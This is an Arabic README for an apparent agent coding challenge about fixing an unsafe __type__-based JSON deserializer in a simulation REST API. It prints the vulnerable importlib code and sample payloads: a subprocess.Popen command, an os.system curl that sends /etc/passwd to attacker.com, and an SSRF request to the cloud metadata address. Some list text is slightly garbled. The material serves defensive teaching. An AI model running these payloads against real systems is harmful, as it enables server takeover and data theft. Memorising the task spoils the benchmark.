
CVE-2026-25632 — إصلاح إلغاء التسلسل غير الآمن لـ JSON المؤدي إلى تنفيذ التعليمات البرمجية عن بُعد
مستوحاة من ثغرة حقيقية عام 2026 (CVSS 10.0، تم استغلالها بنشاط)
استنادًا إلى: CVE-2026-25632 — تنفيذ تعليمات برمجية عن بُعد عبر إلغاء تسلسل JSON غير آمن مدفوع بحقل__type__، اكتُشف في REST API لمحاكاة شبكة المياه EPyT-Flow وكُشف عنه علنًا في أوائل 2026.
NovaSim هو إطار عمل محاكاة مبني على Python يعرض REST API للتحكم عن بُعد في التجارب العلمية. ولدعم تسلسل كائنات مرن عبر بيئات عملاء غير متجانسة، أضاف مطوّر مُحمِّل JSON مخصصًا يكتشف حقل __type__ خاصًا ويقوم باستيراد وإنشاء مثيل ديناميكيًا لفئة Python المُشار إليها باستخدام importlib.
تم الكشف عن هذا النمط كثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في مشروع مفتوح المصدر كبير عام 2026. حدد باحثو الأمن أن المهاجم الذي يتحكم في جسم JSON يمكنه بناء سلسلة أدوات (gadget chain) تستهدف أي كائن قابل للاستدعاء في المكتبة القياسية للغة Python — بما في ذلك subprocess.Popen وos.system و وأكثر من 25 أداة SSRF — محققًا اختراقًا كاملاً للخادم بطلب HTTP واحد، .
evalلقد حصلت على النسخة الهشة من src/solution.py، والتي تحتوي على نمط إلغاء التسلسل غير الآمن نفسه.
هدفك: إصلاح الثغرة في DeserializationService.load_from_json() بحيث:
SecurityError.__type__ يمكّن من استيراد وحدات عشوائية أو إنشاء مثيلات فئات عشوائية.__type__) في التحميل بشكل طبيعي.# DANGEROUS — CVE-2026-25632 pattern
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # attacker-controlled!
cls = getattr(module, class_name) # attacker-controlled!
return cls(**data.get("args", {})) # arbitrary code execution!
يرسل المهاجم طلب POST بجسم JSON مصمم بعناية:
الناقل 1 — تنفيذ تعليمات برمجية عن بُعد مباشر عبر subprocess:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
الناقل 2 — تنفيذ تعليمات برمجية عن بُعد عبر os.system:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
الناقل 3 — SSRF عبر urllib.request.urlopen:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
وثّق باحثو الأمن 12 أداة RCE مباشرة و25 أداة SSRF يمكن الوصول إليها بهذه الطريقة عبر المكتبة القياسية للغة Python وحدها.
الأنواع التالية من كائنات المحاكاة — وهي فقط التالية — قد تُلغى تسلسلاتها عبر __type__:
قيمة __type__ | فئة Python |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
أي قيمة __type__ أخرى يجب أن تُثير SecurityError فورًا، قبل حدوث أي استيراد أو إنشاء مثيل.
كائنات JSON المُرسلة إلى DeserializationService.load_from_json(raw: str) -> dict | SimObject
__type__: أعد dict (JSON مُحلَّل).__type__ مصرّح به: أعد مثيل كائن المحاكاة المقابل.__type__ غير مصرّح به: أثر SecurityError بالرسالة: "Blocked unsafe type: <type_value>".ValueError بالرسالة: "Invalid JSON payload".| السيناريو | السلوك المتوقع |
|---|---|
__type__ غائب | تحليل وإرجاع كـ dict عادي |
__type__ = "simulation.Sensor" | إنشاء مثيل Sensor(**args) |
__type__ = "subprocess.Popen" | إثارة SecurityError |
__type__ = "os.system" | إثارة SecurityError |
__type__ = "__builtins__.eval" | إثارة SecurityError |
__type__ = "" (سلسلة فارغة) | إثارة SecurityError |
__type__ قائمة أو عدد صحيح | إثارة SecurityError (حقل نوع غير صالح) |
| سلسلة JSON تالفة | إثارة ValueError |
| حقول إضافية غير معروفة في كائن صالح | مقبولة، تُمرَّر كوسائط kwargs إلى المُنشئ |
challenge-cve-2026-25632/
├── README.md <- You are here
├── Dockerfile <- Deterministic build environment
├── src/
│ ├── solution.py <- BUGGY starter code (your target)
│ ├── solution_fixed.py <- Reference solution (hidden from agent)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Allowlisted simulation model classes
└── tests/
└── test_solution.py <- Test harness (FAILS on buggy, PASSES on fixed)
يجب أن يجتاز الإصلاح جميع ما يلي: